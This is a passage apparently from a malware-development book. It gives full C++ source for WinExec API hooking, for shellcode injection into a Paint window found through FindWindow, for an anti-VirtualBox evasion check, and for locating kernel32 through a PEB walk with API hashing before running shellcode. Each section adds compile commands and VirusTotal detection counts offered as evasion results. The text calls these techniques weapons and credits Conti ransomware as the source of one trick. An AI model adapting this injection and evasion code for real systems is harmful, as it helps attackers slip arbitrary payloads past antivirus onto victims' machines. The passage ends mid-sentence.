SearchUI.exe is crashet and not worked after run my example.
Then, upload our malware to VirusTotal:

https://www.virustotal.com/gui/file/5835847d11b7f891e70681e2ec3a1e22013f
a3ffe31a36429e7814a3be40bd97/detection
So, 7 of 69 AV engines detect our file as malicious.
Moneta64.exe result:

235
The reason why it’s good to have this technique in your arsenal is because it
does not require you to allocate new RWX memory to copy your payload over to
by using VirtualAllocEx which is more popular and suspicious and which is
more closely investigated by the blue teamers.
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
VirtualQueryEx
CreateToolhelp32Snapshot
Process32First
Process32Next
OpenProcess
Taking a snapshot and viewing processes
WriteProcessMemory
CreateRemoteThread
Hunting memory
Moneta64.exe
source code in Github

236
29. windows API hooking part 2. Simple C++ example.

what is API hooking?


API hooking is a technique by which we can instrument and modify the behaviour
and flow of API calls. This technique is also used by many AV solutions to
detect if code is malicious.
The easiest way of hooking is by inserting a jump instruction. In this section I
will show you another technique.
This method is six bytes in total, and looks like the following.
The push instruction pushes a 32bit value on the stack, and the retn instruction
pops a 32bit address off the stack into the Instruction Pointer (in other words,
it starts execution at the address which is found at the top of the stack.)

example 1
Let’s look at an example. In this case I can hook a function WinExec from
kernel32.dll (hooking.cpp):
/*
hooking.cpp
basic hooking example with push/retn method
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/03/08/basic-hooking-2.html
*/
#include <windows.h>

// buffer for saving original bytes


char originalBytes[6];

FARPROC hookedAddress;

237
// we will jump to after the hook has been installed
int __stdcall myFunc(LPCSTR lpCmdLine, UINT uCmdShow) {
WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, originalBytes, 6, NULL);
return WinExec("mspaint", uCmdShow);
}

// hooking logic
void setMySuperHook() {
HINSTANCE hLib;
VOID *myFuncAddress;
DWORD *rOffset;
DWORD *hookAddress;
DWORD src;
DWORD dst;
CHAR patch[6]= {0};

// get memory address of function WinExec


hLib = LoadLibraryA("kernel32.dll");
hookedAddress = GetProcAddress(hLib, "WinExec");

// save the first 6 bytes into originalBytes (buffer)


ReadProcessMemory(GetCurrentProcess(),
(LPCVOID) hookedAddress,
originalBytes, 6, NULL);

// overwrite the first 6 bytes with a jump to myFunc


myFuncAddress = &myFunc;

// create a patch "push <addr>, retn"


memcpy_s(patch, 1, "\x68", 1); // 0x68 opcode for push
memcpy_s(patch + 1, 4, &myFuncAddress, 4);
memcpy_s(patch + 5, 1, "\xC3", 1); // opcode for retn

WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, patch, 6, NULL);
}

int main() {

// call original
WinExec("notepad", SW_SHOWDEFAULT);

// install hook
setMySuperHook();

238
// call after install hook
WinExec("notepad", SW_SHOWDEFAULT);

As you can see, the source code is identical to the example from the first section
about hooking. The only difference is:

That will translate into the following assembly instructions:


// push myFunc memory address onto the stack
push myFunc

// jump to myFunc
retn

Let’s go to compile it:


i686-w64-mingw32-g++ -O2 hooking.cpp -o hooking.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive >/dev/null 2>&1

And run on Windows 7 x64:


.\hooking.exe

239
As you can see everything is worked perfectly :)
x86 API Hooking Demystified
WinExec
source code in github

30. process injection via FindWindow. Simple C++ exam-


ple.

This post is the result of my self-researching one of the Win32 API function.
One of my previous posts, I wrote how to find process by name, for my injector?
When writing process or DLL injectors, it would be nice to find, for example, all
windows running in the system and try to inject into the process launched by
the administrator. In the simplest case to find the any window of a process that
will be our victim.

practical example
The flow is this technique is simple. Let’s go to investigate source code:

240
/*
* hack.cpp - classic process injection
* via FindWindow. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/03/08/malware-injection-17.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main() {

HANDLE ph;
HANDLE rt;
DWORD pid;

// find a window for mspaint.exe

241
HWND hw = FindWindow(NULL, (LPCSTR) "Untitled - Paint");
if (hw == NULL) {
printf("failed to find window :(\n");
return -2;
}
GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

LPVOID rb = VirtualAllocEx(ph, NULL,


sizeof(my_payload),
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);

return 0;
}

As usually, for simplicity I used meow-meow messagebox payload:


unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"

242
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

As you can, see, the main logic is here:


//...
// find a window for mspaint.exe
HWND hw = FindWindow(NULL, (LPCSTR) "Untitled - Paint");
if (hw == NULL) {
printf("failed to find window :(\n");
return -2;
}
GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
//...

Demo
Let’s go to compile:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

and run:
.\hack.exe 1304

243
As you can see, everything is work perfectly :)

anti-VM
Another example of using this function is VM “evasion”. The fact that some
windows’ names are only present in virtual environment and not is usual host
OS.
Let’s look at an example:

244
/*
* hack.cpp - VM evasion via FindWindow. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/03/08/malware-injection-17.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {

HANDLE ph;
HANDLE rt;
DWORD pid;

// find a window with certain class name


HWND hcl = FindWindow((LPCSTR) L"VBoxTrayToolWndClass", NULL);

245
HWND hw = FindWindow(NULL, (LPCSTR) L"VBoxTrayToolWnd");
if (hcl || hw) {
pid = atoi(argv[1]);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

LPVOID rb = VirtualAllocEx(ph, NULL, sizeof(my_payload),


MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);

return 0;
} else {
printf("virtualbox VM detected :(");
return -2;
}
}

As you can see we just check if windows with the following class names are
present in the OS:
VBoxTrayToolWndClass
VBoxTrayToolWnd

Let’s go to compile:
x86_64-w64-mingw32-g++ hack2.cpp -o hack2.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

And run:

246
.\hack2.exe 1304

So everything is work perfectly for our VirtualBox Windows 10 x64


Let’s go to upload hack2.exe to VirusTotal:

So, 4 of 66 AV engines detect our file as malicious.


https://www.virustotal.com/gui/file/dd340e3de34a8bd76c8693832f9a665b47e9
8fce58bf8d2413f2173182375787/detection
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
FindWindow
Evasions UI artifacts
source code in Github

247
31. malware development tricks. Find kernel32.dll base:
asm style. C++ example.

This section is the result of self-researching interesting trick in real-life malwares.


In the one of my posts I wrote about using GetModuleHandle. It is returns a
handle a specified DLL. For example:
#include <windows.h>

LPVOID (WINAPI * pVirtualAlloc)(


LPVOID lpAddress, SIZE_T dwSize,
DWORD flAllocationType, DWORD flProtect);

//...

int main() {
DWORD oldprotect = 0;

HMODULE hk32 = GetModuleHandle("kernel32.dll");


pVirtualAlloc = GetProcAddress(hk32, "VirtualAlloc");

//...

return 0;
}

Then, the actual way to execute shellcode is something like this (meow.cpp):
#include <windows.h>

248
LPVOID (WINAPI * pVirtualAlloc)(
LPVOID lpAddress, SIZE_T dwSize,
DWORD flAllocationType, DWORD flProtect);

unsigned char my_payload[] =


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main() {
HMODULE hk32 = GetModuleHandle("kernel32.dll");
pVirtualAlloc = GetProcAddress(hk32, "VirtualAlloc");
PVOID lb = pVirtualAlloc(0, sizeof(my_payload),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(lb, my_payload, sizeof(my_payload));
HANDLE th = CreateThread(0, 0,
(PTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

So this code contains very basic logic for executing payload. In this case, for
simplicity, it’s use “meow-meow” messagebox payload.
Let’s compile it:

249
x86_64-w64-mingw32-g++ meow.cpp -o meow.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-Wint-to-pointer-cast -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and run:

We used GetModuleHandle function to locate kernel32.dll in memory. It’s


possible to go around this by finding library location in the PEB.

assembly way :)
In the one of the previous sections I wrote about TEB and PEB structures and I
found kernel32 via asm. The following is obtained:
1. offset to the PEB struct is 0x030

2. offset to LDR within PEB is 0x00c

3. offset to InMemoryOrderModuleList is 0x014

4. 1st loaded module is our .exe

5. 2nd loaded module is ntdll.dll

250
6. 3rd loaded module is kernel32.dll

7. 4th loaded module is kernelbase.dll


Today I will consider x64 architecture. Offsets are different:
1. PEB address is located at an address relative to GS register: GS:[0x60]

2. offset to LDR within PEB is 0x18

3. kernel32.dll base address at 0x10

practical example
So:
static HMODULE getKernel32(DWORD myHash) {
HMODULE kernel32;
INT_PTR peb = __readgsqword(0x60);
auto modList = 0x18;
auto modListFlink = 0x18;
auto kernelBaseAddr = 0x10;

auto mdllist = *(INT_PTR*)(peb + modList);


auto mlink = *(INT_PTR*)(mdllist + modListFlink);
auto krnbase = *(INT_PTR*)(mlink + kernelBaseAddr);
auto mdl = (LDR_MODULE*)mlink;
do {
mdl = (LDR_MODULE*)mdl->e[0].Flink;
if (mdl->base != nullptr) {
if (calcMyHashBase(mdl) == myHash) { // kernel32.dll hash
break;
}
}
} while (mlink != (INT_PTR)mdl);

kernel32 = (HMODULE)mdl->base;
return kernel32;
}

Then for finding GetProcAddress and GetModuleHandle I used my getAPIAddr


function from my post:
static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {
PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)(
(LPBYTE)h + img_dos_header->e_lfanew);
PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)(

251
(LPBYTE)h +
img_nt_header->
OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);
PDWORD fAddr = (PDWORD)(
(LPBYTE)h + img_edt->AddressOfFunctions);
PDWORD fNames = (PDWORD)(
(LPBYTE)h + img_edt->AddressOfNames);
PWORD fOrd = (PWORD)(
(LPBYTE)h + img_edt->AddressOfNameOrdinals);

for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {


LPSTR pFuncName = (LPSTR)(
(LPBYTE)h + fNames[i]);

if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
return nullptr;
}

And, respectively, the main() function logic is different:


int main() {
HMODULE mod = getKernel32(56369259);
fnGetModuleHandleA myGetModuleHandleA =
(fnGetModuleHandleA)getAPIAddr(mod, 4038080516);
fnGetProcAddress myGetProcAddress =
(fnGetProcAddress)getAPIAddr(mod, 448915681);

HMODULE hk32 = myGetModuleHandleA("kernel32.dll");


fnVirtualAlloc myVirtualAlloc =
(fnVirtualAlloc)myGetProcAddress(
hk32, "VirtualAlloc");
fnCreateThread myCreateThread =
(fnCreateThread)myGetProcAddress(
hk32, "CreateThread");
fnWaitForSingleObject myWaitForSingleObject =
(fnWaitForSingleObject)myGetProcAddress(
hk32, "WaitForSingleObject");

PVOID lb = myVirtualAlloc(0, sizeof(my_payload),

252
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(lb, my_payload, sizeof(my_payload));
HANDLE th = myCreateThread(NULL, 0,
(PTHREAD_START_ROUTINE)lb, NULL, 0, NULL);
myWaitForSingleObject(th, INFINITE);
}

As you can see, I used Win32 API call by hash trick.


Then full source code (hack.cpp) is:
/*
* hack.cpp - find kernel32 from PEB,
assembly style. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/04/02/malware-injection-18.html
*/
#include <windows.h>
#include <stdio.h>

typedef struct _UNICODE_STRING {


USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;

struct LDR_MODULE {
LIST_ENTRY e[3];
HMODULE base;
void* entry;
UINT size;
UNICODE_STRING dllPath;
UNICODE_STRING dllname;
};

typedef HMODULE(WINAPI *fnGetModuleHandleA)(


LPCSTR lpModuleName
);

typedef FARPROC(WINAPI *fnGetProcAddress)(


HMODULE hModule,
LPCSTR lpProcName
);

253
typedef PVOID(WINAPI *fnVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

typedef PVOID(WINAPI *fnCreateThread)(


LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

typedef PVOID(WINAPI *fnWaitForSingleObject)(


HANDLE hHandle,
DWORD dwMilliseconds
);

DWORD calcMyHash(char* data) {


DWORD hash = 0x35;
for (int i = 0; i < strlen(data); i++) {
hash += data[i] + (hash << 1);
}
return hash;
}

static DWORD calcMyHashBase(LDR_MODULE* mdll) {


char name[64];
size_t i = 0;

while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1) {


name[i] = (char)mdll->dllname.Buffer[i];
i++;
}
name[i] = 0;
return calcMyHash((char *)CharLowerA(name));
}

static HMODULE getKernel32(DWORD myHash) {


HMODULE kernel32;
INT_PTR peb = __readgsqword(0x60);
auto modList = 0x18;

254
auto modListFlink = 0x18;
auto kernelBaseAddr = 0x10;

auto mdllist = *(INT_PTR*)(peb + modList);


auto mlink = *(INT_PTR*)(mdllist + modListFlink);
auto krnbase = *(INT_PTR*)(mlink + kernelBaseAddr);
auto mdl = (LDR_MODULE*)mlink;
do {
mdl = (LDR_MODULE*)mdl->e[0].Flink;
if (mdl->base != nullptr) {
if (calcMyHashBase(mdl) == myHash) { // kernel32.dll hash
break;
}
}
} while (mlink != (INT_PTR)mdl);

kernel32 = (HMODULE)mdl->base;
return kernel32;
}

static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {


PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
PIMAGE_NT_HEADERS img_nt_header =
(PIMAGE_NT_HEADERS)(
(LPBYTE)h + img_dos_header->e_lfanew);
PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)h +
img_nt_header->
OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);
PDWORD fAddr = (PDWORD)(
(LPBYTE)h + img_edt->AddressOfFunctions);
PDWORD fNames = (PDWORD)(
(LPBYTE)h + img_edt->AddressOfNames);
PWORD fOrd = (PWORD)(
(LPBYTE)h + img_edt->AddressOfNameOrdinals);

for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {


LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);

if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);

255
}
}
return nullptr;
}

unsigned char my_payload[] =


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main() {
HMODULE mod = getKernel32(56369259);
fnGetModuleHandleA myGetModuleHandleA =
(fnGetModuleHandleA)getAPIAddr(mod, 4038080516);
fnGetProcAddress myGetProcAddress =
(fnGetProcAddress)getAPIAddr(mod, 448915681);

HMODULE hk32 = myGetModuleHandleA("kernel32.dll");


fnVirtualAlloc myVirtualAlloc =
(fnVirtualAlloc)myGetProcAddress(
hk32, "VirtualAlloc");
fnCreateThread myCreateThread =
(fnCreateThread)myGetProcAddress(
hk32, "CreateThread");
fnWaitForSingleObject myWaitForSingleObject =

256
(fnWaitForSingleObject)myGetProcAddress(
hk32, "WaitForSingleObject");

PVOID lb = myVirtualAlloc(0, sizeof(my_payload),


MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(lb, my_payload, sizeof(my_payload));
HANDLE th = myCreateThread(NULL, 0,
(PTHREAD_START_ROUTINE)lb, NULL, 0, NULL);
myWaitForSingleObject(th, INFINITE);
}

As you can see, I used the same hash algorithm.

demo
Let’s go to compile it:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and run (on victim’s windows 10 x64 machine):


.\hack.exe

257
As you can see, everything is worked perfectly :)
Let’s go to upload to VirusTotal:

https://www.virustotal.com/gui/file/0f5204336b3250fe2756b0a675013099be58
f99a522e3e14161c1709275ec2d5/detection
So 6 of 69 AV engines detect our file as malicious
This tricks can be used to make the static analysis of our malware slightly harder,
mainly focusing on PE format and common indicators.
I saw this trick in the source code of Conti ransomware
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
PEB structure
TEB structure
PEB_LDR_DATA structure
GetModuleHandleA

258
GetProcAddress
windows shellcoding - part 1
windows shellcoding - find kernel32
Conti ransomware source code
source code in Github

32. malware development tricks. Download and inject logic.


C++ example.

This post is the result of self-researching interesting trick in real-life malwares.

download and execute


Download and execute or in our case download and inject is interesting trick
